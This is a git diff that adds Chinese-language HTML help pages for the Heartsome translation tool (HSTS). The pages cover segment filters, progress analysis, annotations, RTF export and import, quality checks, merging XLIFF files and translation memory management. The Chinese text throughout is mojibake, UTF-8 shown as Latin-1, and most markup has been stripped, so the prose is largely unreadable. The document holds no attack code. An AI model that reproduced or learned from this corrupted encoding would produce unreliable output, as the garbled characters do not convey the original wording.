      预翻译时是å¦é¢„存该机器翻译结果,以节çœç¿»è¯‘æµé‡è´¹ç”¨åŠå‡å°‘等待网络å“应的时间。

      +
    • +
    +
    + +
    +

    +过滤文本段

    + + +

    在翻译过程中有时需è¦æ ¹æ®æ–‡æœ¬æ®µçš„æŸäº›ç‰¹å¾ï¼ˆå¦‚状æ€ã€åŒ¹é…情况等)æ¥è¿‡æ»¤æ–‡æœ¬æ®µï¼Œä»¥ç¼©å°æŸ¥æ‰¾èŒƒå›´æˆ–方便排除干扰ã€æ‰¹é‡æ“作。HSTS + 内置了如下文本段过滤器:

    + +
    +

    图 97. XLIFF 编辑器:文本段过滤器

    +
    + + +
    +
    XLIFF 编辑器:文本段过滤器
    +
    +
    +
    +
    + +
      +
    • +

      å·²é”定

      +
    • +
    • +

      未é”定

      +
    • +
    • +

      ç–‘é—®

      +
    • +
    • +

      ä¸æ·»åŠ åˆ°è®°å¿†åº“

      +
    • +
    • +

      带批注

      +
    • +
    • +

      未翻译

      +
    • +
    • +

      è‰ç¨¿

      +
    • +
    • +

      已翻译

      +
    • +
    • +

      翻译未完æˆ

      +
    • +
    • +

      已批准

      +
    • +
    • +

      未批准

      +
    • +
    • +

      已签å‘

      +
    • +
    • +

      未签å‘

      +
    • +
    • +

      é‡å¤

      +
    • +
    • +

      上下文匹é…

      +
    • +
    • +

      完全匹é…

      +
    • +
    • +

      模糊匹é…

      +
    • +
    + +

    此外,还å¯ä»¥ç‚¹å‡»æ–‡æœ¬æ®µè¿‡æ»¤å™¨ä¸‹æ‹‰åˆ—表å³è¾¹çš„自定义过滤器按钮æ¥æ·»åŠ è‡ªå®šä¹‰è¿‡æ»¤å™¨ï¼š

    +
    +

    图 98. XLIFF 编辑器:添加自定义文本段过滤器

    +
    + + +
    +
    XLIFF 编辑器:添加自定义文本段过滤器
    +
    +
    +
    +


    自定义过滤器å¯ä»¥æŒ‰å¦‚下æ¡ä»¶è®¾ç½®ï¼š

    + +
    +

    图 99. 管ç†è‡ªå®šä¹‰è¿‡æ»¤å™¨

    +
    + + +
    +
    管ç†è‡ªå®šä¹‰è¿‡æ»¤å™¨
    +
    +
    +
    +
    + +
      +
    • +

      如下æ¡ä»¶çš„组åˆç±»åž‹

      + +

      满足以下所有æ¡ä»¶ã€æ»¡è¶³ä»¥ä¸‹ä»»ä¸€æ¡ä»¶

      +
    • +
    • +

      关键字

      + +

      包å«/ä¸åŒ…å«ï¼šæŒ‡å®šæ–‡æœ¬

      +
    • +
    • +

      批注

      + +

      包å«/ä¸åŒ…å«/等于/ä¸ç­‰äºŽï¼šæŒ‡å®šæ–‡æœ¬

      +
    • +
    • +

      属性

      + +

      属性å等于指定文本ã€ä¸”属性值等于指定文本

      +
    • +
    + +

    æˆåŠŸæ·»åŠ åŽï¼Œæ–°å¢žåŠ çš„文本段自定义过滤器将在文本段过滤器列表的最下方显示。

    +
    +

    图 100. 文本段自定义过滤器

    +
    + + +
    +
    文本段自定义过滤器
    +
    +
    +
    +


    +
    + +
    +

    +翻译进度分æž

    + + +

    进行翻译进度分æžçš„æ“作步骤与字数分æžç±»ä¼¼ï¼š

    + +
      +
    1. +

      选择项目或“XLIFFâ€å­ç›®å½•ä¸­çš„任一个或多个 .hsxliff + 文件/文件夹,从å³é”®èœå•æˆ–项目èœå•ä¸­é€‰æ‹©ç¿»è¯‘进度分æžï¼›

      +
      +

      图 101. 翻译进度分æž

      +
      + + +
      +
      翻译进度分æž
      +
      +
      +
      +


      +
    2. +
    3. +

      确认è¦åˆ†æžçš„文件列表,点击确定按钮。

      +
      +

      图 102. 翻译进度分æžå¯¹è¯æ¡†

      +
      + + +
      +
      翻译进度分æžå¯¹è¯æ¡†
      +
      +
      +
      +


      +
    4. +
    5. +

      分æžå®ŒæˆåŽï¼Œè‡ªåŠ¨æ‰“开分æžç»“果报告。

      + +
      +

      图 103. 翻译进度分æžç»“æžœ

      +
      + + +
      +
      翻译进度分æžç»“æžœ
      +
      +
      +
      +
      +
    6. +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s05.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s05.html new file mode 100644 index 0000000..b0ddf07 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s05.html @@ -0,0 +1,421 @@ + + + +5. 编辑与 QA + + + + + + + +
    +

    +5. 编辑与 QA

    + + +
    +

    +打开文件

    + + +

    编辑与 QA 的打开文件æ“作与翻译一样,详情请å‚考“打开文件â€ä¸€èŠ‚。

    +
    + +
    +

    +修改文本段状æ€

    + + +

    编辑与 QA 的修改文本段状æ€æ“作与翻译一样,åªæ˜¯å…·ä½“修改的状æ€å€¼æœ‰æ‰€ä¸åŒï¼Œè¯¦æƒ…请å‚考“修改文本段状æ€â€ä¸€èŠ‚。

    +
    + +
    +

    +编辑译文

    + + +

    编辑与 QA 的编辑译文æ“作与翻译一样,详情请å‚考“输入译文â€ä¸€èŠ‚。

    +
    + +
    +

    +批注

    + + +

    对文本段æºæ–‡æˆ–译文的任何æ„è§ã€å¤‡æ³¨ç­‰ä¿¡æ¯ï¼Œéƒ½å¯ä»¥ä»¥æ–‡æœ¬æ®µæ‰¹æ³¨çš„å½¢å¼æ·»åŠ ã€‚带有批注的文本段,会在状æ€åˆ—显示批注图标。对批注å¯è¿›è¡Œå¦‚下æ“作:

    + +
    +

    +添加

    + + +

    选择一个或多个文本段åŽï¼Œä»Žå³é”®èœå•æˆ–编辑èœå•ä¸­æ‰“开添加批注,输入如下信æ¯ï¼š

    +
    +

    图 104. 添加批注

    +
    + + +
    +
    添加批注
    +
    +
    +
    +


    + +
    +

    图 105. 添加批注对è¯æ¡†

    +
    + + +
    +
    添加批注对è¯æ¡†
    +
    +
    +
    +
    + +
      +
    • +

      应用范围

      + +
        +
      • +

        选中文本段

        + +

        该批注仅添加到选中的一个或多个文本段中。

        +
      • +
      • +

        所有文本段

        + +

        该批注添加到所有文本段中。

        +
      • +
      +
    • +
    • +

      批注

      + +

      å³æ‰¹æ³¨çš„内容。

      +
    • +
    + +

    HSTS å…许在åŒä¸€ä¸ªæ–‡æœ¬æ®µä¸­æ·»åŠ å¤šä¸ªæ‰¹æ³¨ã€‚

    +
    + +
    +

    +编辑

    + + +

    选择一个文本段,å³é”®èœå• > + 编辑批注,å³å¯æ‰“开编辑批注对è¯æ¡†ï¼Œåœ¨å…¶ä¸­é€‰æ‹©è¦ç¼–辑的批注æ¡ç›®ï¼Œç‚¹å‡»ç¼–辑按钮,å³å¯ç¼–辑批注内容。若编辑的批注类型为“所有文本段â€ï¼Œåˆ™ç¼–辑将修改所有文本段的åŒä¸€æ‰¹æ³¨ã€‚

    +
    +

    图 106. 编辑批注

    +
    + + +
    +
    编辑批注
    +
    +
    +
    +


    + +
    +

    图 107. 编辑批注对è¯æ¡†

    +
    + + +
    +
    编辑批注对è¯æ¡†
    +
    +
    +
    +
    +
    + +
    +

    +删除

    + + +

    选择一个或多个文本段,从å³é”®èœå•æˆ–编辑èœå• > + 删除批注,确认åŽå³å¯åˆ é™¤æ‰€é€‰æ–‡æœ¬æ®µçš„所有批注。若删除的批注类型为“所有文本段â€ï¼Œåˆ™åˆ é™¤å…¶åœ¨ä»»ä¸€ä¸ªæ–‡æœ¬æ®µçš„批注,都将删除所有文本段中的åŒä¸€æ‰¹æ³¨ã€‚

    +
    +
    + +
    +

    +编辑进度分æž

    + + +

    编辑进度分æžçš„æ“作与翻译进度分æžä¸€æ ·ï¼Œè¯¦æƒ…请å‚考“翻译进度分æžâ€ä¸€èŠ‚。

    +
    + +
    +

    +RTF 外部校对

    + + +

    有些编辑或校对人员å¯èƒ½æ›´å–œæ¬¢ç”¨ Word 之类的文字编辑工具æ¥å®Œæˆå·¥ä½œï¼ŒHSTS 为这些用户æ供了 RTF + 导出/导入功能æ¥å®žçŽ°è¿™ç§éœ€æ±‚:在编辑/校对之å‰ï¼ŒæŠŠ XLIFF 文件的内容导出到 RTF 文件中,并用任何å¯ç¼–辑 RTF 文件的工具(如 + Word)æ¥å®Œæˆç¼–辑/校对工具,最åŽå†å°†æ›´æ–°åŽ RTF 导入到 XLIFF。具体方法如下:

    + +
    +

    +导出 RTF

    + + +
      +
    1. +

      在项目中选择或打开è¦å¯¼å‡ºçš„ XLIFF + 文件,从文件èœå•æˆ–å³é”®èœå•æ‰“开导出 + RTFï¼›

      + +
      +

      图 108. 导出 RTF

      +
      + + +
      +
      导出 RTF
      +
      +
      +
      +
      +
    2. +
    3. +

      在将 XLIFF 文件导出为 RTF 对è¯æ¡†ä¸­ï¼Œé€‰ä¸­çš„ + XLIFF å·²ç»è¢«è‡ªåŠ¨è¯†åˆ«ï¼Œè¿˜éœ€è¦è®¾ç½®å¦‚下å‚数:

      +
      +

      图 109. 将 XLIFF 文件导出为 RTF

      +
      + + +
      +
      将 XLIFF 文件导出为 RTF
      +
      +
      +
      +


      + +
        +
      • +

        导出内容

        + +

        除了默认的æºæ–‡ã€è¯‘文之外,还å¯ä»¥é€‰æ‹©å¯¼å‡ºæ–‡æœ¬æ®µçŠ¶æ€å’Œæ‰¹æ³¨ã€‚

        +
      • +
      • +

        导出方å¼

        + +
          +
        • +

          排除

          + +
            +
          • +

            å·²é”定文本段

            +
          • +
          • +

            上下文匹é…文本段

            +
          • +
          • +

            完全匹é…文本段

            +
          • +
          +
        • +
        • +

          仅导出

          + +
            +
          • +

            带批注的文本段

            +
          • +
          • +

            带疑问的文本段

            +
          • +
          +
        • +
        +
      • +
      • +

        RTF ä¿å­˜è·¯å¾„

        +
      • +
      +
    4. +
    5. +

      确认上述信æ¯éƒ½å·²è®¾ç½®å¥½ä¹‹åŽï¼Œç‚¹å‡»ç¡®å®šæŒ‰é’®å¯¼å‡ºã€‚

      +
    6. +
    +
    + +
    +

    +导入 RTF

    + + +
      +
    1. +

      在项目中选择或打开è¦å¯¼å…¥ RTF 以更新内容的 XLIFF + 文件,从文件èœå•æˆ–å³é”®èœå•æ‰“开导入 + RTFï¼›

      + +
      +

      图 110. 导入 RTF

      +
      + + +
      +
      导入 RTF
      +
      +
      +
      +
      +
    2. +
    3. +

      选择已编辑/已校对的 RTF 文件,点击确定按钮。

      +
      +

      图 111. 导入 RTF 以更新 XLIFF

      +
      + + +
      +
      导入 RTF 以更新 XLIFF
      +
      +
      +
      +


      +
    4. +
    +
    +
    + +
    +

    +å“质检查

    + + +

    HSTS çš„å“质检查功能已ç»åœ¨å‰é¢çš„“å“质检查â€ä¸€èŠ‚部分进行了介ç»ï¼Œæˆ‘们推è在翻译过程中å¯ç”¨â€œè‡ªåŠ¨å“质检查â€ï¼Œè€ŒåŒæ—¶ï¼Œç”¨æˆ·ä¹Ÿå¯ä»¥éšæ—¶è°ƒç”¨å•ä¸ªæˆ–多个å“质检查项进行检查。

    + +
    +

    +å•é¡¹å“质检查

    + + +

    å¯ä»¥åˆ†åˆ«å¯¹å½“å‰ç¼–辑器中打开(包括“å•ç‹¬æ‰“å¼€â€å’Œâ€œåˆå¹¶æ‰“å¼€â€ï¼‰çš„一个或多个 + XLIFF文件进行“数字一致性â€ã€â€œæ ‡è®°ä¸€è‡´æ€§â€çš„å•é¡¹æ£€æŸ¥ï¼Œå“质检查未通过的结果åŒæ ·ä¼šåœ¨å“质检查结果视图中列出。

    + +
    +

    图 112. å•é¡¹å“质检查

    +
    + + +
    +
    å•é¡¹å“质检查
    +
    +
    +
    +
    +
    + +
    +

    +批é‡å“质检查

    + + +

    批é‡å“质检查å¯ä»¥åŒæ—¶ XLIFF + 文件进行多项å“质检查,方便用户对分é…给本人的文件ã€ä»»åŠ¡ã€ä¹ƒè‡³æ•´ä¸ªé¡¹ç›®ï¼Œè¿›è¡Œç¿»è¯‘å“质的统查和最åŽç¡®è®¤ã€‚具体步骤如下:

    + +
      +
    1. +

      在项目中选择或打开è¦æ£€æŸ¥çš„一个或多个 XLIFF + 文件或文件夹,从å“质检查或å³é”®èœå•æ‰“å¼€å“质检查;

      +
      +

      图 113. å“质检查

      +
      + + +
      +
      å“质检查
      +
      +
      +
      +


      + +
      +

      图 114. å“质检查对è¯æ¡†

      +
      + + +
      +
      å“质检查对è¯æ¡†
      +
      +
      +
      +
      +
    2. +
    3. +

      点击选项按钮å¯ä»¥é€‰æ‹©è¦æ‰§è¡Œçš„å“质检查项,并对æ¯ä¸ªæ£€æŸ¥é¡¹ç›¸å…³çš„å‚数进行设置;

      + +
      +

      图 115. 选项:å“质检查

      +
      + + +
      +
      选项:å“质检查
      +
      +
      +
      +
      +
    4. +
    5. +

      回到å“质检查对è¯æ¡†ï¼Œç‚¹å‡»ç¡®å®šå³å¯å¼€å§‹æ£€æŸ¥ã€‚检查结果将列出在如下图所示的å“质检查结果视图中:

      + +
      +

      图 116. å“质检查结果

      +
      + + +
      +
      å“质检查结果
      +
      +
      +
      +
      +
    6. +
    +
    +
    + +
    +

    +预览翻译

    + + +

    预览翻译是指将 XLIFF + 转æ¢ä¸ºç›®æ ‡æ–‡ä»¶ï¼Œä¾›ç¿»è¯‘人员预览翻译好之åŽçš„文件的实际展示效果。方法是:在打开(包括å•ç‹¬æ‰“开和åˆå¹¶æ‰“开) XLIFF + 文件之åŽï¼Œç‚¹å‡»ç¿»è¯‘èœå• > + 预览翻译å³å¯ã€‚

    +
    +

    警告

    +

    è‹¥æºæ–‡ä»¶ä¸ºåŸºäºŽ XML çš„æ ¼å¼ï¼ˆåŒ…括 .docx 等基于 XML + 的压缩包格å¼ï¼‰ï¼Œåˆ™è¯‘文中丢失或错误的标记å¯èƒ½å¯¼è‡´è½¬æ¢åŽä¾›é¢„览的 XML + 文件结构ä¸è§„范,从而无法打开预览文件。因此强烈建议在预览翻译之å‰å…ˆè¿›è¡Œæ ‡è®°ä¸€è‡´æ€§æ£€æŸ¥ï¼Œå¹¶ä¿®å¤æ‰€æœ‰æ ‡è®°é—®é¢˜ã€‚

    +
    +

    预览翻译会调用系统默认关è”的应用程åºæ¥æ‰“开预览文件,如果没有安装该应用程åºï¼Œåˆ™é¢„览会报错并中止预览。å¯ä»¥å°†â€œ/Intermediate/Otherâ€ç›®å½•ä¸­ç”Ÿæˆçš„预览文件å¤åˆ¶åˆ°å®‰è£…了目标文件关è”程åºçš„计算机中打开预览。

    + +
    +

    图 117. 预览翻译

    +
    + + +
    +
    预览翻译
    +
    +
    +
    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s06.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s06.html new file mode 100644 index 0000000..b41affd --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch05s06.html @@ -0,0 +1,285 @@ + + + +6. 完æˆé¡¹ç›® + + + + + + + +
    +

    +6. 完æˆé¡¹ç›®

    + + +

    按照å‰é¢çš„步骤将所有文本段都翻译完æˆã€å¹¶ç»è¿‡ç›¸å…³çš„ QA 修正åŽï¼Œé¡¹ç›®å·²ç»æŽ¥è¿‘尾声了,剩下的就是如下一些收尾工作。

    + +
    +

    +åˆå¹¶æ–‡ä»¶

    + + +

    如果在之å‰çš„项目译å‰å‡†å¤‡é˜¶æ®µï¼Œå› ä¸ºå•ä¸ª XLIFF + 文件太大而使用了分割文件功能æ¥åˆ†å‘任务的è¯ï¼Œå°±éœ€è¦å°†åˆ†å‰²åŽçš„多个 XLIFF + åˆå¹¶ä¸ºä¸€ä¸ªæ–‡ä»¶ã€‚æ“作步骤如下:

    + +
      +
    1. +

      在项目中选择由åŒä¸€ä¸ª XLIFF + 分割出æ¥çš„多个 XLIFF 文件;

      + +
      +

      图 118. åˆå¹¶ XLIFF 文件

      +
      + + +
      +
      åˆå¹¶ XLIFF 文件
      +
      +
      +
      +
      +
    2. +
    3. +

      确认待åˆå¹¶çš„ XLIFF 文件刚好是由åŒä¸€ä¸ª XLIFF + 分割而æˆã€ä¸”没有é‡å¤æˆ–丢失的部分,如下é¢è¿™ä¸ªä¾‹å­ï¼š

      +
      +

      例 1. åˆå¹¶ XLIFF 文件

      +
      + + +

      以分割两次的情况举例:

      + +
        +
      1. +

        æŸæ–‡ä»¶â€œFile.hsxliffâ€å…ˆåˆ†å‰²ä¸ºâ€œFile_1.hsxliffâ€ã€â€œFile_2.hsxliffâ€ä¸¤ä¸ªæ–‡ä»¶ï¼›

        +
      2. +
      3. +

        把“File_2.hsxliffâ€å†æ¬¡åˆ†å‰²ä¸ºâ€œFile_2_1.hsxliffâ€ã€â€œFile_2_2.hsxliffâ€ä¸¤ä¸ªæ›´å°çš„文件;

        +
      4. +
      5. +

        åˆå¹¶æ—¶åªéœ€è¦é€‰æ‹©â€œFile_1.hsxliffâ€ã€â€œFile_2_1.hsxliffâ€ã€â€œFile_2_2.hsxliffâ€è¿™ä¸‰ä¸ªæ–‡ä»¶å°±å¯ä»¥ã€‚

        +
      6. +
      +
      +
      +


      +
    4. +
    5. +

      点击完æˆæŒ‰é’®ï¼›

      +
      +

      图 119. åˆå¹¶ XLIFF 文件对è¯æ¡†

      +
      + + +
      +
      åˆå¹¶ XLIFF 文件对è¯æ¡†
      +
      +
      +
      +


      +
    6. +
    7. +

      åˆå¹¶æˆåŠŸåŽçš„ XLIFF + 文件将存放在与分割å‰çš„文件åŒä¸€ç›®å½•ä¸­ï¼Œæ–‡ä»¶å中添加“_mergedâ€åŽç¼€ä»¥ç¤ºåŒºåˆ†ã€‚

      + +
      +

      图 120. 已åˆå¹¶çš„ XLIFF 文件

      +
      + + +
      +
      å·²åˆå¹¶çš„ XLIFF 文件
      +
      +
      +
      +
      +
    8. +
    +
    + +
    +

    +解é”é‡å¤æ–‡æœ¬æ®µ

    + + +

    解é”é‡å¤æ–‡æœ¬æ®µåŒæ ·æ˜¯ä¸Žé¡¹ç›®è¯‘å‰å‡†å¤‡é˜¶æ®µçš„é”定é‡å¤æ–‡æœ¬æ®µç›¸å¯¹åº”的,将之å‰é”定的é‡å¤æ–‡æœ¬æ®µè§£é”是为了è¦å°†å·²ç¿»è¯‘好的译文应用到这些é‡å¤æ–‡æœ¬æ®µä¸­ã€‚解é”åŽï¼Œåº”用é‡å¤æ–‡æœ¬æ®µè¯‘æ–‡æ“作请è§ä¸‹ä¸€èŠ‚ç¹æ®–翻译。

    + +

    解é”所有已é”定的文本段åªéœ€è¦å¦‚下简å•çš„几个步骤:

    + +
      +
    1. +

      打开或åˆå¹¶æ‰“å¼€è¦è§£é”çš„ XLIFF 文件;

      +
    2. +
    3. +

      在编辑器中选择文本段过滤器“已é”定文本段â€ï¼›

      + +
      +

      图 121. 解é”文本段:过滤已é”定文本段

      +
      + + +
      +
      解é”文本段:过滤已é”定文本段
      +
      +
      +
      +
      +
    4. +
    5. +

      选择è¦è§£é”的文本段;

      +
      +

      æ示

      +

      å¯ä»¥ç”¨ Ctrl/Shift + 与鼠标左键多选

      +
      +
    6. +
    7. +

      点击å³é”® > é”定文本段。

      + +
      +

      图 122. 解é”文本段

      +
      + + +
      +
      解é”文本段
      +
      +
      +
      +
      +
    8. +
    +
    + +
    +

    +ç¹æ®–翻译

    + + +

    ç¹æ®–翻译主è¦æ˜¯ç”¨äºŽå¤„ç†é‡å¤æ–‡æœ¬æ®µï¼Œå°†ä¸€ä¸ªå·²ç¿»è¯‘好的文本段译文应用到所有与其有相åŒæºæ–‡çš„文本段中,主è¦ä¸Žå‰é¢æ到的é”定/解é”é‡å¤æ–‡æœ¬æ®µé…åˆä½¿ç”¨ã€‚步骤如下:

    + +
      +
    1. +

      打开或“åˆå¹¶æ‰“å¼€â€è¦æ‰§è¡Œç¹æ®–翻译的 XLIFF 文件;

      +
    2. +
    3. +

      点击翻译èœå• > + ç¹æ®–翻译;

      + +
      +

      图 123. ç¹æ®–翻译

      +
      + + +
      +
      ç¹æ®–翻译
      +
      +
      +
      +
      +
    4. +
    5. +

      在编辑器中选择文本段过滤器é‡å¤æ–‡æœ¬æ®µï¼›

      +
    6. +
    7. +

      检查应用了译文的文本段是å¦éœ€è¦æ‰‹åŠ¨è°ƒæ•´å†…部标记。

      +
    8. +
    + +
    +

    注æ„

    +

    ç¹æ®–翻译默认ä¸ä¼šè¦†ç›–文本段中已有的译文,若原有的译文已ç»ä¸å†éœ€è¦ï¼Œåº”先使用编辑èœå• + > + 删除译文功能将译文删除,然åŽå†æ‰§è¡Œç¹æ®–翻译。

    +
    +
    + +
    +

    +å°† XLIFF 转æ¢ä¸ºç›®æ ‡æ–‡ä»¶

    + + +

    完æˆäº†ä¸Šè¿°æ‰€æœ‰æ­¥éª¤ä¹‹åŽï¼Œå»ºè®®å†è¿›è¡Œä¸€æ¬¡å“质检查,以确认译文中没有明显的错误(特别是内部标记),然åŽå°±å¯ä»¥ç”Ÿæˆç›®æ ‡æ–‡ä»¶äº†ã€‚生æˆåŒ…å«è¯‘文的目标文件步骤如下:

    + +
      +
    1. +

      在项目中选择è¦è½¬æ¢ä¸ºç›®æ ‡æ–‡ä»¶çš„一个或多个 XLIFF + 文件/文件夹;

      +
    2. +
    3. +

      点击å³é”®/文件èœå• > + 转æ¢ä¸ºç›®æ ‡æ–‡ä»¶ï¼›

      + +
      +

      图 124.Â è½¬æ¢ XLIFF 为目标文件

      +
      + + +
      +
      è½¬æ¢ XLIFF 为目标文件
      +
      +
      +
      +
      +
    4. +
    5. +

      åœ¨è½¬æ¢ XLIFF + 为目标文件对è¯æ¡†ä¸­ï¼Œç¡®è®¤å¦‚下å‚数的设置:

      +
      +

      图 125.Â è½¬æ¢ XLIFF 为目标文件对è¯æ¡†

      +
      + + +
      +
      è½¬æ¢ XLIFF 为目标文件对è¯æ¡†
      +
      +
      +
      +


      + +
        +
      • +

        文件编ç 

        + +

        在使用éžâ€œUnicodeâ€ç¼–ç æ—¶ï¼Œæœ‰äº›ç›®æ ‡è¯­è¨€çš„字符å¯èƒ½æ— æ³•æ­£å¸¸æ˜¾ç¤ºï¼Œéœ€è¦ä¸ºç›®æ ‡æ–‡ä»¶æŒ‡å®šç¼–ç ï¼Œä¾‹å¦‚:

        +
        +

        例 2. 为目标文件选择编ç 

        +
        + + +

        æºæ–‡ä»¶æ˜¯â€œASCIIâ€ç¼–ç çš„英文文件,翻译为中文åŽå°±ä¸å¯ä»¥ä½¿ç”¨â€œASCIIâ€ç¼–ç ï¼Œè€Œå»ºè®®ä½¿ç”¨â€œUTF-8â€æˆ–“GBKâ€ç¼–ç ä¿å­˜ç›®æ ‡æ–‡ä»¶ã€‚

        +
        +
        +


        +
      • +
      • +

        覆盖åŒå文件

        + +

        若将è¦ç”Ÿæˆçš„目标文件已存在åŒå文件,将无法继续转æ¢ã€‚若用户确认已存在的åŒå目标文件已ç»ä¸å†éœ€è¦ï¼Œåˆ™é€‰ä¸­æ­¤é¡¹ï¼›å¦åˆ™ç”¨æˆ·åº”先移动或é‡å‘½å已存在的目标文件,然åŽé‡æ–°å°è¯•è½¬æ¢ã€‚

        +
      • +
      +
    6. +
    7. +

      点击确定按钮。转æ¢å‡ºæ¥çš„目标文件如下:

      + +
      +

      图 126. 由 XLIFF 转æ¢è€Œæˆçš„目标文件

      +
      + + +
      +
      ç”± XLIFF 转æ¢è€Œæˆçš„目标文件
      +
      +
      +
      +
      +
    8. +
    + +

    转æ¢å®ŒæˆåŽçš„目标文件将ä¿æŒâ€œXLIFFâ€æ–‡ä»¶å¤¹ä¸­çš„目录结构(该目录结构åˆæ˜¯ç»§æ‰¿è‡ªâ€œæºæ–‡ä»¶â€çš„目录结构),存放在“/Target/目标语言代ç â€ç›®å½•ä¸‹é¢ã€‚

    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06.html new file mode 100644 index 0000000..a14c1e3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06.html @@ -0,0 +1,135 @@ + + + +è®°å¿†åº“å’Œæœ¯è¯­åº“çš„ç»´æŠ¤å’Œç®¡ç† + + + + + + + +
    +

    +记忆库和术语库的维护和管ç†

    + + +

    æ•°æ®åº“(包括记忆库和术语库)是 CAT + 工具工作过程中最为é‡è¦çš„部分之一,它负责ä¿å­˜æ‰€æœ‰ç¿»è¯‘过的内容(包括å¥å­å’Œæœ¯è¯­ï¼‰ï¼Œå¹¶åœ¨é€‚当的时候展示出æ¥ä¾›ç”¨æˆ·å‚考。数æ®åº“既是用户翻译的历å²ï¼Œä¹Ÿæ˜¯ç”¨æˆ·æ™ºæ…§çš„结晶。显而易è§ï¼Œå¯¹æ•°æ®åº“的维护和管ç†æ˜¯æžä¸ºé‡è¦çš„一项工作。

    + +

    对于数æ®åº“的维护和管ç†ï¼Œæˆ‘们有如下建议:

    + +
      +
    1. +

      在æ“作上区分终稿库和过程库

      + +

      终稿是指ç»è¿‡ç¿»è¯‘ã€ç¼–辑ã€æ ¡å¯¹ç­‰æ­¥éª¤ä¹‹åŽï¼Œäº¤ä»˜ç»™å®¢æˆ·çš„最终译文,具有较高的翻译质é‡å’Œå‚考价值。这类译文终稿应作为项目的最终存档ã€ä»¥å¤šç§å½¢å¼é•¿æœŸä¿å­˜ã€‚终稿库åªæ˜¯å…¶ä¸­ä¸€ç§ä¿å­˜å½¢å¼ï¼Œå¦å¤–还å¯ä»¥ä»¥ + TMX/TBX 文件等格å¼å­˜æ¡£å¤‡ä»½ã€‚

      + +

      过程库则用以ä¿å­˜ç¿»è¯‘人员在翻译项目的过程中的译文è‰ç¨¿ï¼Œç”±äºŽæœªç»å®¡æ ¸ï¼Œå…¶ä¸­å¯èƒ½å­˜åœ¨ä¸€äº›ä¸å¤Ÿæ°å½“的翻译和错误。但过程库也有终稿库ä¸å¯æ¯”拟的优势:过程库中的译文更加贴近于当å‰æ­£åœ¨ç¿»è¯‘的项目ã€å†…容的更新更加åŠæ—¶ã€‚

      +
    2. +
    3. +

      对数æ®åº“进行分类

      + +

      终稿库通常å¯ä»¥æŒ‰è¡Œä¸šé¢†åŸŸæˆ–题æã€å®¢æˆ·ã€è¯­è¨€å¯¹ã€é¡¹ç›®ç­‰åˆ†ç±»ï¼ŒåŒä¸€åˆ†ç±»çš„内容ä¿å­˜åœ¨åŒä¸€ä¸ªæ•°æ®åº“中。在翻译åŒä¸€åˆ†ç±»çš„项目的时候,终稿库å¯ä»¥ä½œä¸ºå‚考库æ供给翻译人员å‚考。

      + +

      过程库则å¯ä»¥æŒ‰é¡¹ç›®æ¥åˆ›å»ºï¼Œåœ¨æ•´ä¸ªé¡¹ç›®çš„生命周期内å¯ä»¥ä¾›æ‰€æœ‰ç¿»è¯‘ã€ç¼–辑ã€æ ¡å¯¹ç­‰äººå‘˜å‚考和修改——并在最åŽå¾—到终稿。在将终稿存档到终稿库之åŽï¼Œå³å¯å°†è¿‡ç¨‹åº“也åŒæ—¶å­˜æ¡£æˆ–删除。

      +
    4. +
    + +
    +

    +1. 更新记忆库

    + + +

    更新记忆库是将翻译好的åŒè¯­ XLIFF + 文件中的所有å¥å­æºæ–‡å’Œè¯‘æ–‡ä¿å­˜åˆ°è®°å¿†åº“中。通常用于将一个翻译项目的所有译文终稿存档到终稿库中。步骤如下:

    + +
      +
    1. +

      选择项目,点击å³é”®èœå•/项目èœå• > + 项目设置 > + 记忆库,确认项目已设置默认记忆库,详情请å‚考图 52 “项目设置:记忆库â€ï¼›

      +
      +

      æ示

      +

      对于终稿,建议使用全新创建的数æ®åº“或已有的终稿库,而ä¸è¦ä½¿ç”¨è¿‡ç¨‹åº“。

      +
      +
    2. +
    3. +

      在项目中选择一个或多个 XLIFF 文件或文件夹,点击å³é”®/项目èœå• > + 更新记忆库;

      + +
      +

      图 127. 更新记忆库

      +
      + + +
      +
      更新记忆库
      +
      +
      +
      +
      +
    4. +
    5. +

      在更新记忆库对è¯æ¡†ä¸­ï¼Œæ ¹æ®éœ€è¦å¯è®¾ç½®å¦‚下å‚数:

      +
      +

      图 128. 更新记忆库对è¯æ¡†

      +
      + + +
      +
      更新记忆库对è¯æ¡†
      +
      +
      +
      +


      + +
        +
      • +

        范围

        + +

        需è¦å…¥åº“的文本段状æ€ï¼š

        + +
          +
        • +

          è‰ç¨¿

          +
        • +
        • +

          已翻译

          +
        • +
        • +

          已批准

          +
        • +
        • +

          已签å‘

          +
        • +
        • +

          å·²é”定

          +
        • +
        +
      • +
      • +

        选项

        + +
        +
      • +
      +
    6. +
    7. +

      点击确定按钮。

      +
    8. +
    +
    + + + + + + + + +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s02.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s02.html new file mode 100644 index 0000000..9ad009d --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s02.html @@ -0,0 +1,95 @@ + + + +2.Â è®°å¿†åº“ç®¡ç† + + + + + + + +
    +

    +2. 记忆库管ç†

    + + +

    除了在创建项目时创建记忆库,HSTS + 还æ供了专门的记忆库管ç†åŠŸèƒ½ï¼Œä¸éœ€è¦æ‰“开项目也å¯ä»¥å¯¹æ•°æ®åº“æœåŠ¡å™¨ä¸Šçš„记忆库进行创建和删除。记忆库管ç†ç•Œé¢å¯ä»¥é€šè¿‡æ•°æ®åº“èœå• + > 记忆库管ç†æ‰“开。

    + +
    +

    +创建

    + + +

    在记忆库管ç†å¯¹è¯æ¡†ä¸­åˆ›å»ºè®°å¿†åº“的步骤如下:

    + +
    +

    图 129. 记忆库管ç†

    +
    + + +
    +
    记忆库管ç†
    +
    +
    +
    +
    + +
      +
    1. +

      在左边选择数æ®åº“æœåŠ¡å™¨çš„类型;

      +
      +

      图 130. 记忆库管ç†å¯¹è¯æ¡†

      +
      + + +
      +
      记忆库管ç†å¯¹è¯æ¡†
